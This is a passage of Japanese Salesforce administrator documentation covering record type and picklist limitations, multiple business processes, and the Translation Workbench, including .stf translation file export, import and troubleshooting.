カスタム項目
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レコードタイプおよび選択リストの作成と更新に関する制限事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプとビジネスプロセスの選択リストを使用する場合は、次の制限
事項に留意してください。
• 次の特別な選択リストの項目は、セールスプロセス、リードプロセス、サ

ポートプロセス、およびソリューションプロセスでのみ使用され、レコード
タイプでは使用できません。
– 商談 [フェーズ]

– ケース[状況]

– ソリューション[状況]

– リード状況
これらの項目を使用して、異なるプロセスを各レコードタイプに割り当てる
ことで、各種レコードタイプに異なる選択リスト値を指定できます。

• 次のキャンペーンメンバーの選択リストは、レコードタイプでは使用できません。
– 状況
– 敬称
– リードソース

• オブジェクトがApexで参照されている場合は、そのオブジェクトのレコードタイプを編集したり削除した
りすることはできません。

• メール-to-ケースまたはオンデマンドメール-to-ケースのメールルーティングアドレスで使用される場合、
レコードタイプを無効化することはできません。

• レコードタイプは、新規または既存のキャンペーンで [キャンペーンメンバー種別] 項目を使用している場
合にのみキャンペーンメンバーに割り当てることができます。レコードタイプをキャンペーンメンバーに
割り当てるには、[キャンペーンメンバー種別] 項目をキャンペーンページレイアウトに追加します。キャ
ンペーンメンバー種別を変更するには、[マーケティングユーザ] ユーザ権限が必要です。また、参照のみ
の [キャンペーンメンバー種別] 項目をキャンペーンメンバーのページレイアウトに追加することもできま
す。

• 作成するレコードタイプの数を 200 以内に抑えることをお勧めします。制限はありませんが、レコードタ
イプ数が 200 を超えると管理が困難になる場合があります。

関連トピック:

レコードタイプの作成
レコードタイプと選択リストの作成および更新に関する考慮事項
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複数のビジネスプロセスの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ビジネスプロセスを作成
または変更する
• 「アプリケーションの

カスタマイズ」

ユーザのプロファイルに応じて異なる選択リストの値を表示するには、複数の
ビジネスプロセスを使用します。複数のビジネスプロセスを使用すると、セー
ルス、サポート、およびリードのライフサイクルを個別に追跡できます。
セールスプロセス

商談の [フェーズ] 項目に使用できる選択リストの値の一部またはすべてを
含む、各種のセールスプロセスを作成します。

リードプロセス
[リード状況]項目に使用できる選択リストの値の一部またはすべてを含む、
各種のリードプロセスを作成します。

サポートプロセス
ケースの [状況] 項目に使用できる選択リストの値の一部またはすべてを含
む、各種のサポートプロセスを作成します。

ソリューションプロセス
[状況] 項目に使用できる選択リストの値の一部またはすべてを含む、各種
のソリューションプロセスを作成します。

セールス、サポート、リード、またはソリューションの各プロセスを作成した
後、プロセスをレコードタイプに割り当てます。レコードタイプは、ビジネス
プロセスに関連付けられるユーザプロファイルを決定します。
ビジネスプロセスのリストを表示するには、[設定] から [クイック検索]ボックスに「プロセス」と入力し、適
切なリンクを選択します。

関連トピック:

レコードタイプとビジネスプロセス用の選択リストの編集
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複数のビジネスプロセスの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ビジネスプロセスを作成
または変更する
• 「アプリケーションの

カスタマイズ」

次の手順に従って、セールスプロセス、サポートプロセス、リードプロセス、
およびソリューションプロセスを作成します。
1. [設定] から、[クイック検索] ボックスに「プロセス」と入力し、適切なリン

クを選択します。
2. [新規] をクリックします。
3. 既存のプロセスを選択して、選択リストに設定されている値を新しいプロセ

スにコピーします。選択リストの使用可能な値をすべてコピーするには、
[主] を選択します。

4. 新しいプロセスの名前と説明を入力します。この名前は、タブ内で一意の名
前にします。

5. [保存] をクリックします。
選択リストの選択可能なすべての値が表示されます。新しいビジネスプロセ
スで使用する値を選択します。

次に、新しいビジネスプロセスをレコードタイプに追加し、プロファイルに応
じてユーザがレコードタイプを使用できるようにします。

複数言語のユーザのサポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織で複数の言語が有効になっている場合、トランスレーションワークベンチ
を使用して組織で翻訳済み表示ラベルが維持されるようにします。Salesforce で
サポートされている言語で翻訳された値を管理できます。

メモ: 標準オブジェクトは、トランスレーションワークベンチでは使用で
きません。標準オブジェクトの翻訳には、タブと表示ラベルの名称変更イ
ンターフェースを使用します。

カスタマイズされたコンポーネントに翻訳された値が含まれていない場合、そ
のコンポーネントでは組織のデフォルト言語が使用されます。言語を無効化し
ても、トランスレーションワークベンチでは引き続きその言語のすべての翻訳
を使用できますが、その言語を選択したユーザには組織のデフォルト言語の値
が表示されます。
トランスレーションワークベンチは、単一言語の組織では使用できません。組
織で使用する言語が 1 つか複数か不明な場合は、Salesforce にお問い合わせください。
トランスレーションワークベンチを有効にすると、次のような変更が Salesforce 組織に加えられます。
• 選択リスト値は個別に編集する必要があります。既存の選択リスト値を一括編集することはできませんが、

新しい値を一括して追加できます。
• 選択リスト値がアルファベット順に並び替えられる場合、値は組織のデフォルト言語のアルファベット順

に並べられます。
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• レポートには、レポートビルダーの [条件] ペインに [検索条件の言語] ドロップダウンリストがあります。
言語条件を選択すると、[次の文字列で始まる]、contains、または [次の文字列を含まない]演算子を使用
する検索条件に応じて、翻訳された文字列が絞り込まれます。

• インポートファイルには、[言語] ドロップダウンリストが表示され、インポートファイル内のすべてのレ
コードおよび値は選択した言語で表示されます。

• HTML を生成するまで、Web-to-リードおよび Web-to-ケースには、[言語] ドロップダウンリストが表示されま
す。

トランスレーションワークベンチの有効化および無効化
トランスレーションワークベンチを使用して、翻訳する言語を指定し、翻訳者を言語に割り当て、Salesforce

組織に作成したカスタマイズの翻訳を作成し、管理対象パッケージから表示ラベルと翻訳を上書きするこ
とができます。カスタム選択リスト値からカスタム項目にいたるすべてを翻訳し、海外のユーザがSalesforce

のすべてを彼らの言語で使用できるようになりました。
翻訳言語と翻訳者の追加
サポート対象言語の追加、言語の有効化と無効化、その言語の翻訳者の割り当て、組織のデフォルト言語
で行ったカスタマイズの翻訳用語の入力を行います。
用語の翻訳
管理パッケージの翻訳の上書き
開発者が管理する、管理パッケージ内の表示ラベルや翻訳は編集できませんが、トランスレーションワー
クベンチを使用して上書きできます。たとえば、パッケージのカスタム項目を上書きします。
翻訳可能なカスタマイズ
特定のコンポーネントのみ翻訳できます。
翻訳ファイル
Salesforce では、次の種別のファイルを使用して、カスタマイズ表示ラベルを翻訳し、翻訳を確認します。
翻訳用語の更新に関する考慮事項
翻訳者は、翻訳用語を常に更新する責任があります。翻訳コンポーネントが変更されると、翻訳された値
は [変更あり] とマークされます。
翻訳ファイルのエクスポート
カスタム項目、レポートタイプ、選択リスト値など、組織の翻訳可能なメタデータを含むファイルを作成
します。一括翻訳を実行できるように、外部の翻訳者または翻訳会社にこれらのファイルを送信してから、
[インポート] を使用してラベルを更新します。
翻訳済みファイルのインポート
カスタム項目、レポートタイプ、選択リスト値など、組織のメタデータの翻訳をインポートして更新しま
す。通常、Salesforce から元のファイルがエクスポートされ、一括翻訳を行う外部の翻訳者または翻訳会社
に送信されます。翻訳作業が終わるとファイルが返送されてインポートされます。
翻訳ファイルのエクスポートおよびインポートに関する一般的なエラー
トランスレーションワークベンチでファイルをエクスポートおよびインポートするときに発生する可能性
のある問題をトラブルシューティングします。
トランスレーションワークベンチのベストプラクティス
トランスレーションワークベンチを最も効果的に使用するには、次のヒントを参考にしてください。
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トランスレーションワークベンチの有効化および無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

トランスレーションワークベンチを使用して、翻訳する言語を指定し、翻訳者
を言語に割り当て、Salesforce 組織に作成したカスタマイズの翻訳を作成し、管
理対象パッケージから表示ラベルと翻訳を上書きすることができます。カスタ
ム選択リスト値からカスタム項目にいたるすべてを翻訳し、海外のユーザが
Salesforce のすべてを彼らの言語で使用できるようになりました。
1. [設定] から、[クイック検索] ボックスに「翻訳設定」と入力し、[翻訳設定]

を選択します。
2. ようこそページで、[有効化] をクリックします。

メモ: 「翻訳の管理」権限は、システム管理者プロファイルではデフォル
トで有効になっています。

トランスレーションワークベンチを無効にするには、[設定] から [クイック検索]

ボックスに「翻訳設定」と入力し、[翻訳設定] を選択して [無効化] をクリックします。

メモ: 翻訳を含む管理対象パッケージを持つ開発者組織では、トランスレーションワークベンチをいった
ん有効にすると、無効にすることはできません。

関連トピック:

翻訳用語の更新に関する考慮事項

翻訳言語と翻訳者の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

言語を追加または編集す
る
• 「翻訳の管理」

翻訳者を割り当てる
• 「翻訳の管理」

サポート対象言語の追加、言語の有効化と無効化、その言語の翻訳者の割り当
て、組織のデフォルト言語で行ったカスタマイズの翻訳用語の入力を行います。

メモ: 「翻訳の管理」権限は、システム管理者プロファイルではデフォル
トで有効になっています。

1. [設定] から、[クイック検索] ボックスに「翻訳設定」と入力し、[翻訳設定]

を選択します。
2. 新しい言語を有効にする場合は [追加]、既存のサポート言語を変更する場合

は [編集] をクリックします。
3. 新しい言語を追加する場合は、言語を選択します。
4. 入力した翻訳をユーザが使用できるようにするには、[有効]を選択します。

ユーザは、トランスレーションワークベンチで有効であるかどうかにかかわ
らず、個人の言語を変更できます。[有効] を選択すると、その言語のユー
ザが翻訳を使用できるようになります。

ヒント: 翻訳者がすべての値を翻訳してから、言語を有効にすることを
お勧めします。

5. 該当する翻訳者を割り当てるには、[利用可能なリスト] から選択して [追加]

をクリックします。追加するメンバーが見つからない場合は、検索ボックス
にキーワードを入力し、[検索] をクリックします。
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重要: 翻訳を開始できるようにするには、すべての翻訳者に「設定・定義を参照する」権限を割り当
てます。ユーザは、割り当てられた言語だけを翻訳できます。

6. [保存] をクリックします。

関連トピック:

トランスレーションワークベンチの有効化および無効化
用語の翻訳
翻訳用語の更新に関する考慮事項

用語の翻訳

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

語句を翻訳する
• 「設定・定義を参照す

る」
AND

翻訳者として指定され
ていること

1. [設定] から、[クイック検索] ボックスに「翻訳」と入力し、[翻訳] を選択し
ます。

2. 翻訳する [言語] を選択します。
3. [設定コンポーネント]を選択します。プルダウンメニューをクリックして、

翻訳可能なカスタマイズのリストから選択します。使用可能なカスタマイズ
のリストは、「翻訳可能なカスタマイズ」を参照してください。

4. 必要に応じてオブジェクトとアスペクトを選択します。たとえば、ワークフ
ロー ToDo にはオブジェクト (取引先、取引先責任者) とアスペクト (件名また
はコメント) があります。

5. 翻訳列をダブルクリックして、新しい値を入力します。Tab キーを押すと次
の編集可能な項目に移動し、Shift キーを押しながら Tab キーを押すと前の編
集可能な項目に移動します。

メモ: 項目が更新され、用語を翻訳する必要がある場合は、[変更あり]

欄にその旨が指示されます。ボタンまたはリンクの表示ラベルの編集中
には、[ボタンまたはリンクの名前] 列が表示されます。この列は SOAP

API の使用時にコンポーネントを参照するために使用されます。

6. [保存] をクリックします。

関連トピック:

翻訳用語の更新に関する考慮事項
翻訳言語と翻訳者の追加
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管理パッケージの翻訳の上書き

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

用語を上書きする
• 「設定・定義を参照す

る」

および

「アプリケーションの
カスタマイズ」

開発者が管理する、管理パッケージ内の表示ラベルや翻訳は編集できませんが、
トランスレーションワークベンチを使用して上書きできます。たとえば、パッ
ケージのカスタム項目を上書きします。
1. [設定] から、[クイック検索] ボックスに「上書き」と入力し、[上書き] を選

択します。
2. 上書きする [パッケージ] を選択します。
3. 上書きを入力する [言語] を選択します。
4. [設定コンポーネント]を選択します。プルダウンメニューをクリックして、

翻訳可能なカスタマイズのリストから選択します。使用可能なカスタマイズ
のリストは、「翻訳可能なカスタマイズ」を参照してください。

5. 必要に応じてオブジェクトとアスペクトを選択します。たとえば、ワークフ
ロー ToDo にはオブジェクト (取引先、取引先責任者) とアスペクト (件名また
はコメント) があります。

6. 上書き列をダブルクリックして、新しい値を入力します。Tab キーを押すと
次の編集可能な項目に移動し、Shift キーを押しながら Tab キーを押すと前の
編集可能な項目に移動します。

メモ: 項目が更新され、用語を変更する必要がある場合は、[変更あり]

欄にその旨が指示されます。ボタンまたはリンクの表示ラベルの編集中
には、[ボタンまたはリンクの名前] 列が表示されます。この列は SOAP

API の使用時にコンポーネントを参照するために使用されます。

7. 翻訳列をダブルクリックして、新しい値を入力します。Tab キーを押すと次の編集可能な項目に移動し、
Shift キーを押しながら Tab キーを押すと前の編集可能な項目に移動します。

メモ: 項目が更新され、用語を翻訳する必要がある場合は、[変更あり] 欄にその旨が指示されます。
ボタンまたはリンクの表示ラベルの編集中には、[ボタンまたはリンクの名前] 列が表示されます。こ
の列は SOAP API の使用時にコンポーネントを参照するために使用されます。

8. [保存] をクリックします。

関連トピック:

トランスレーションワークベンチの有効化および無効化
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翻訳可能なカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

特定のコンポーネントのみ翻訳できます。
組織の翻訳可能なカスタマイズを参照するには、[設定] から、[クイック検索]

ボックスに「翻訳」と入力し、[翻訳]を選択して、[設定コンポーネント]を選択
します。次に、必要に応じて、[オブジェクト]、[カスタムレポートタイプエン
ティティ]、または [部分] を選択します。
次のコンポーネントを翻訳できます。
• アクション
• 国 (住所)

• 州 (住所)

• Apex 共有の理由
• ボタンとリンクの表示ラベル
• カスタムアプリケーション
• カスタム項目
• カスタムレポートタイプ
• データカテゴリ
• データカテゴリグループ
• ディビジョン
• フィード条件
• グローバル選択リスト
• レイアウトセクション
• ルックアップ検索条件
• ナビゲーションメニュー項目 (コミュニティ用)

• ルックアップ検索条件
• パスステップのリッチテキスト
• 選択リスト値
• クイックアクション表示ラベル
• レコードタイプ
• 関連リスト表示ラベル
• 評価レベル (コミュニティ用)

• Sコントロール
• ソリューションカテゴリ
• 標準項目のヘルプ
• 入力エラーメッセージ
• Web タブ
• ワークフロー ToDo
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重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前に Sコントロールを使用してい
ない場合は、作成できません。既存の Sコントロールに影響はありません。今後も編集できます。

関連トピック:

トランスレーションワークベンチの有効化および無効化

翻訳ファイル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce では、次の種別のファイルを使用して、カスタマイズ表示ラベルを翻
訳し、翻訳を確認します。
• ソース: 初めて表示ラベルを翻訳するときに使用します。
• 未翻訳: 最初の翻訳が確認された後に、表示ラベルを翻訳するときに使用し

ます。
• バイリンガル: 翻訳を確認および編集するときに使用します。
翻訳ファイルには、Salesforce翻訳形式を表す拡張子 .stfが付いています。翻訳
ファイル名には、ファイルの作成に使用されたエクスポートオプションの名前、
ファイルの内容に対応する言語コード、および日付スタンプが含まれます。
[未翻訳] と [バイリンガル] のオプションで作成された複数の .stfファイルは、
最大 5 MB のサイズが、zip ファイルに圧縮されます。複数の zip ファイルが必要
な場合、zip ファイル名それぞれに日付スタンプが付き、数が増分されます。た
とえば、Untranslated 2010–09–20 05:13 1of2.zip のように設定されます。

警告: .stf ファイルの編集時には、次の点を考慮してください。
• .stf ファイル拡張子は変更しないでください。
• 翻訳用のテキストでタブ、改行、または改行記号を使用する場合、.stf ファイル形式ではこれらの

文字は特殊文字を使用して表されます。タブは \t、改行は \n および改行記号は \r です。使用中の
言語の各バージョン間の整合性を実現するため、翻訳ではこれらの文字を必ず保持してください。

ソースファイルの使用
ソースファイルは、初めて組織の表示ラベルを翻訳するときに使用します。ソースファイルには、組織のすべ
ての翻訳可能なカスタマイズの表示ラベルが、組織のデフォルト言語で含まれています。
Trados などの標準翻訳ツールを使用しない場合、ワードパッドや MS Excel など、タブとワードラップをサポー
トするアプリケーションを使用してファイルで作業します。

メモ:  MS Excel を使用して .stf ファイルに翻訳を入力すると、ファイル形式が破損する可能性がありま
す。MS Excel では、カンマを含むエントリの両側に自動的に引用符を追加します。引用符が追加された場
合にこれらの引用符をインポートおよび削除できるようにするには、テキストエディタでファイルを開
くことをお勧めします。これらの引用符が削除されていないとインポートが失敗します。

翻訳者にソースファイルを準備する手順は、次のとおりです。
• 翻訳言語ごとに、ソースファイルのコピーを 1 部作成します。
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• 各ソースファイルのヘッダーにある言語コードを、組織のデフォルト言語 (en_US など) から翻訳言語 (fr

など) に変更します。
[表示ラベル] 列の未翻訳文を翻訳文に置き換えるように翻訳者に伝えます。

メモ: 翻訳ファイルに列を追加したり、翻訳ファイルから列を削除したりしないでください。

編集オプション説明列

編集しないでください表示ラベルの固有識別子キー

未翻訳の値を翻訳の値に置き換え
てください

エンドユーザに表示されるラベル表示ラベル

未翻訳ファイルの使用
未翻訳ファイルは、まだ翻訳されていない表示ラベルを翻訳するときに使用します。言語ごとに、1 つの未翻
訳ファイルが生成されます。複数のファイルが生成されると、.zip ファイルにエクスポートされます。この
.zip ファイルには、翻訳言語ごとに .stf ファイルが含まれています。
Trados などの標準翻訳ツールを使用しない場合、ワードパッドや MS Excel など、タブとワードラップをサポー
トするアプリケーションを使用してファイルで作業します。

メモ:  MS Excel を使用して .stf ファイルに翻訳を入力すると、ファイル形式が破損する可能性がありま
す。MS Excel では、カンマを含むエントリの両側に自動的に引用符を追加します。引用符が追加された場
合は、これらの引用符をインポートおよび削除できるようにするには、テキストエディタでファイルを
開くことをお勧めします。これらの引用符が削除されていないとインポートが失敗します。

[表示ラベル] 列の未翻訳文を翻訳文に置き換えるように翻訳者に伝えます。

メモ: 翻訳ファイルに列を追加したり、翻訳ファイルから列を削除したりしないでください。

編集オプション説明列

編集しないでください表示ラベルの固有識別子キー

未翻訳の値を翻訳の値に置き換え
てください

エンドユーザに表示されるラベル表示ラベル

バイリンガルファイルの使用
バイリンガルファイルは、翻訳を確認したり、翻訳済みの表示ラベルを編集したり、未翻訳の表示ラベルに翻
訳を追加したりするときに使用します。翻訳言語ごとに、1 つのバイリンガルファイルが生成されます。
ファイルの [翻訳済み] セクションには、翻訳が完了し、確認する必要があるテキストが含まれています。ファ
イルの [未翻訳] セクションには、まだ翻訳されていないテキストが含まれています。
ワードパッドや MS Excel など、タブとワードラップをサポートする編集アプリケーションを使用して、ファイ
ルを編集します。
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メモ:  MS Excel を使用して .stf ファイルに翻訳を入力すると、ファイル形式が破損する可能性がありま
す。MS Excel では、カンマを含むエントリの両側に自動的に引用符を追加します。引用符が追加された場
合にこれらの引用符をインポートおよび削除できるようにするには、テキストエディタでファイルを開
くことをお勧めします。これらの引用符が削除されていないとインポートが失敗します。

• [変更あり] 列内をスクロールして、アスタリスク (*) が付けられている値を探し、変更された表示ラベルを
特定します。必要に応じて、変更された表示ラベルを更新します。

• [翻訳済み] セクションの [翻訳] 列で、翻訳済みの表示ラベルを編集します。
• [未翻訳] セクションの [表示ラベル] 列で、未翻訳の表示ラベルを翻訳済みの値に置き換えます。
• 翻訳を削除するには、どちらかのセクションの [翻訳] 列にある目的の値を、左右の山括弧のペア (< >) に置

き換えます。バイリンガルファイルをインポートすると、表示ラベルは元の値に戻ります。

注意: ファイルから翻訳済みの表示ラベルを削除することによって、翻訳を削除しないでください。
ファイル内の翻訳を削除しても、ファイルがインポートされた後のアプリケーションから翻訳が削除
されるわけではありません。

メモ: 翻訳ファイルに列を追加したり、翻訳ファイルから列を削除したりしないでください。

編集オプション説明列

編集しないでください表示ラベルの固有識別子キー

エンドユーザに表示されるラベル表示ラベル • ファイルの [翻訳済み] セクション
で、表示ラベルを編集しないでく
ださい。

• ファイルの [未翻訳] セクションで、
未翻訳の表示ラベルを翻訳済みの
値に置き換えます。

現在の翻訳翻訳 • ファイルの [翻訳済み] セクション
で、現在の翻訳を編集します。

• ファイルの [未翻訳] セクションで、
翻訳を追加します。
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編集オプション説明列

編集しないでくださいソーステキストが、以前の翻訳から変更
されたかどうかを示します。
変更があるかどうかは、次のように表さ
れます。

変更あり

• アスタリスク (*): 表示ラベルは変更さ
れています。デフォルト言語の表示ラ
ベルに対して何らかの変更が行われま
したが、翻訳は更新されていません。

• ダッシュ (-): 翻訳は現在のものです。

関連トピック:

翻訳ファイルのエクスポート
翻訳済みファイルのインポート

翻訳用語の更新に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

翻訳者は、翻訳用語を常に更新する責任があります。翻訳コンポーネントが変
更されると、翻訳された値は [変更あり] とマークされます。
たとえば、ルックアップ検索条件に関するエラーメッセージの翻訳を入力する
とします。後でルックアップ検索条件を編集してエラーメッセージを変更しま
す。トランスレーションワークベンチに移動して、メッセージの翻訳列を参照
すると、まだ古いエラーメッセージの翻訳が表示されており、[変更あり] 列の
チェックボックスがオンになっています。
最善の方法は、翻訳者が定期的に翻訳を確認することと、変更があったときに
必ずそれを通知することです。翻訳可能なすべてのカスタマイズと、それらに
関連付けられた[変更あり]状態のリストを生成するには、翻訳ファイルをエク
スポートします。

関連トピック:

用語の翻訳
翻訳言語と翻訳者の追加
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翻訳ファイルのエクスポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

翻訳ファイルをエクス
ポートまたはインポート
する
• 「翻訳の管理」

AND

「アプリケーションの
カスタマイズ」

および

「ドキュメントの作
成」

カスタム項目、レポートタイプ、選択リスト値など、組織の翻訳可能なメタデー
タを含むファイルを作成します。一括翻訳を実行できるように、外部の翻訳者
または翻訳会社にこれらのファイルを送信してから、[インポート]を使用してラ
ベルを更新します。
1. [設定] から、[クイック検索] ボックスに「エクスポート」と入力して、[エク

スポート] を選択します。
2. エクスポートする表示ラベルを選択します。

• ソース – 新規翻訳を作成するための初期ソースとして使用します。
翻訳可能なすべてのカスタマイズのリストを含む 1 つのファイルを作成し
ます。通常、ファイルの内容は組織のデフォルト言語で作成します。

• 未翻訳 – 更新するために使用します。
新規カスタマイズおよび変更済みカスタマイズを含む、まだ翻訳されて
いないカスタマイズのみを含むファイルのセットを作成します。
言語ごとに、1 つのファイルが作成されます。これらのファイルは、.zip

ファイルに圧縮されます。
• バイリンガル – すべての未翻訳のカスタマイズと翻訳済みのカスタマイ

ズの参照と確認に使用します。
翻訳可能なすべての表示ラベルのリストを、現在の翻訳済み状態または
未翻訳状態で作成します。
言語ごとに、1 つのファイルが作成されます。これらのファイルは、.zip

ファイルに圧縮されます。
各ファイルの内容は、[未翻訳] セクションと [翻訳済み] セクションに分割
されます。翻訳可能な表示ラベルはそれぞれ、翻訳の状態に応じて、[未翻訳] セクションまたは [翻訳済
み] セクションのいずれかに入れられます。[翻訳済み] セクションには、表示ラベルの変更状況が含まれ
ます。

3. [エクスポート] をクリックします。
状況メッセージによって、エクスポートの処理状況が示されます。エクスポートが完了すると、プロファ
イルに指定したメールアドレスにメールが送信されます。

4. エクスポートされた .stf ファイルまたは .zip ファイルを探します。
[あなたの氏名] > [ドキュメント] > [ドキュメントフォルダ] > [私の個人ドキュメント] > [Go!]をクリックしま
す。
エクスポートされたすべてのファイルに、ファイルの作成時に使用した [エクスポート] オプションと、日
付スタンプが示されます。個々のファイル名の最後に、拡張子 .stf が付きます。複数のファイルは、.zip ファ
イルにまとめられます。
個人ドキュメントエリアに多数のドキュメントがある場合、エクスポートされたファイルは、次のように
分類文字が追加されて表示されます。
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• B — [バイリンガル] エクスポートオプション。たとえば、Bilingual_2010-09-23_11:20.zip。
• S — [ソース] エクスポートオプション。たとえば、Source_en_US_2010-09-23_11:20.stf。
• U — [未翻訳] エクスポートオプション。たとえば、Untranslated_2010-09-23_11:20.zip。

5. 翻訳者または翻訳会社が翻訳できるように、ファイルを保存します。
[表示] > [ファイルを保存] > [OK] をクリックします。ブラウザで指定した場所にファイルが保存されます。
たとえば、C:/Users/username/Downloads に保存されます。

関連トピック:

翻訳済みファイルのインポート
トランスレーションワークベンチの有効化および無効化

翻訳済みファイルのインポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

翻訳ファイルをエクス
ポートまたはインポート
する
• 「翻訳の管理」

AND

「アプリケーションの
カスタマイズ」

および

「ドキュメントの作
成」

カスタム項目、レポートタイプ、選択リスト値など、組織のメタデータの翻訳
をインポートして更新します。通常、Salesforce から元のファイルがエクスポー
トされ、一括翻訳を行う外部の翻訳者または翻訳会社に送信されます。翻訳作
業が終わるとファイルが返送されてインポートされます。

メモ: エクスポートされたままになっている表示ラベルは、インポートで
翻訳として保存されません。

1. 複数のファイルは、最大 5 MB まで、zip ファイルにまとめられます。必要に
応じて、複数の zip ファイルを作成します。
これらの zip ファイルは、エクスポート済み .zip ファイルと順序やグループ化
が異なっていても構いません。
たとえば、2 つのエクスポート済み .zip ファイルがあるとします。最初のファ
イルには、フランス語、イタリア語、および日本語が含まれています。2 番
目のファイルには、ロシア語、中国語 (簡体字)、およびギリシャ語が含まれ
ています。この場合、次のファイルを作成できます。
• フランス語、ギリシャ語、およびイタリア語が含まれている 1 つの .zip

ファイル。
• ロシア語およびギリシャ語が含まれている 1 つの .zip ファイル。
• 中国語 (簡体字) が含まれている 1 つの .zip ファイル。

2. [設定] から、[クイック検索] ボックスに「インポート」と入力して、トラン
スレーションワークベンチの [インポート] を選択します。

3. [参照] をクリックし、インポートするファイルを探して選択します。
4. [インポート] をクリックします。

インポートが完了したら、次のようになります。
• 表示ラベルが翻訳で更新されます。
• プロファイルに指定したメールアドレスに、確認のメールが送信されます。
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5. インポートされた変更内容が実装されたことを確認します。実行できる操作は、次のとおりです。
• Salesforce 組織の表示ラベルを確認します。
• トランスレーションワークベンチを使用して、表示ラベルを確認します。

関連トピック:

翻訳ファイルのエクスポート
トランスレーションワークベンチの有効化および無効化

翻訳ファイルのエクスポートおよびインポートに関する一般的なエラー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

トランスレーションワークベンチでファイルをエクスポートおよびインポート
するときに発生する可能性のある問題をトラブルシューティングします。

トラブルシューティング
の手順

意味エラーメッセージ

ファイルをもう一度エク
スポートし、すべてのセ
クションにヘッダー行が
あること、およびすべて
の無関係なテキストがコ
メントアウトされている
かヘッダー行から削除さ
れていることを確認しま
す。

インポートしようとして
いるファイルのヘッダー
行がないか、ヘッダー行
に無関係なテキスト (コメ
ントアウトされていない
注意など) があります。

バイリンガルファイルセ
クションの先頭にヘッ
ダー行がありません: {0}

ファイルをもう一度エク
スポートし、各キーが一

インポートファイル内に
指定したキーが複数回出

重複キー:インポートファ
イルに {0} が存在します。

意であることを確認して現します。それぞれの翻再エクスポートしてくだ
さい。 からファイルを再イン

ポートします。
訳済み項目には、一意の
キーが必要であり、各
キーは、ファイル内で 1

回のみ出現できます。

ファイルをもう一度エク
スポートし、そのキーと

翻訳中、Salesforce は、翻
訳している各オブジェク

無効なキー

インポートするファイルト、選択リスト値、また
のキーが一致することを
確認します。

はページ要素に対する一
意のキーまたは ID を生成
します。ファイルをエク
スポートした後に、これ
らの名前またはキーが変
更されると、Salesforce は
正しいキーと名前を一致
できません。
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トラブルシューティングの手順意味エラーメッセージ

ファイルをもう一度エクスポート
し、正しい CRT キー形式を使用して
いることを確認します。

[カスタムレポートタイプ (CRT)] 列の
キーの 1 つの形式が誤っています。

キー: {0} を一意に解決できませんで
したこれは、[カスタムレポートタ
イプ] 列のキー形式への変更が原因
です。もう一度エクスポートし、
キーの新しいキー形式を使用しま
す。

そのデータ型の文字制限に収まる
ように翻訳済み表示ラベルを編集

選択リスト値などの各項目のタイ
プでは、文字数が制限されていま

次の行で翻訳 {データ型} の最大制限
文字数 {x} を超えました。

し、もう一度ファイルをインポー
トします。

す。エラーメッセージに示される
行のデータ型の翻訳済み表示ラベ
ルが長すぎます。

インポートするファイルが正しい
ことと、ファイルに翻訳済みのデー
タが含まれることを確認します。

インポートしようとしているファ
イルが空であるか、翻訳の変更が
含まれません。

インポートするデータがありませ
ん

言語コードが有効であることを確
認し、含まれていることとコメン

インポートするファイルに有効な
言語コードが含まれないか、言語
コードが誤った場所にあります。

ファイルヘッダーに言語コードが
指定されていません

トアウトされていないことを確認
します。

ファイルにセクションヘッダーが
含まれることを確認し、もう一度
インポートします。

インポートするファイルのセクショ
ンヘッダーが見つかりません。

バイリンガルファイルに、翻訳済
みまたは未翻訳のセクションヘッ
ダーはありません

ファイルのファイルヘッダーに、
有効なインポート/エクスポートタ

インポートするファイルのファイ
ルヘッダーに、有効なインポート/

ファイルヘッダーに有効なファイ
ルの種類が指定されていません

イプが含まれており、ヘッダーがエクスポートタイプ (ソース、未翻
翻訳されていないことを確認しま
す。

訳、またはバイリンガル) が指定さ
れていません。ファイルタイプは
組織のデフォルト言語である必要
があります。

ファイルが .stf または .zip ファイル
であることを確認し、もう一度イ
ンポートします。

.stf 形式のファイル、または .stf ファ
